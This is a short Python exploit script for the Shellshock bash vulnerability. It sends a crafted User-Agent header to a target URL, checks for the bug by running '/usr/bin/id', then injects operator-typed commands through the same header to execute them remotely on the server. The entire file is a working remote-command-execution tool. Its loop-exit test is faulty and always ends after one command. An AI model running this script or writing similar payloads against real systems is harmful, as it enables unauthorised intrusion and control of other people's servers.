#!/usr/bin/env python
#-*- coding:utf-8 -*-

import sys
import requests

class Shellshock():

	def __init__(self,url,file=None):
		self.url = url
		self.file = file
		self.header_command = {}
		self.header = {'User-Agent': '() { foo;}; echo Content-Type: text/plain; echo; /usr/bin/id'}

	#只反回执行成功
	def Validation_vulnerabilities(self):
		try:
			response = requests.get(self.url,headers=self.header)
			if 'uid' in response.text:
				return True
			else:
				print("No vulnerability!!!")
		except:
			return False

	#执行命令
	def Shellshock_Command(self):
		self.command = input('The input command:# ')
		self.header_command = {'User-agent':'() { foo;}; echo Content-Type: text/plain ; echo ; /usr/bin/' + self.command}
		try:
			response = requests.get(self.url, headers=dict(self.header_command))
			print(response.text)
		except:
			pass



url = sys.argv[1]
test = Shellshock(url)
if test.Validation_vulnerabilities():
	while True:
		test.Shellshock_Command()
		if test.command == 'quit' or 'exit':
			break
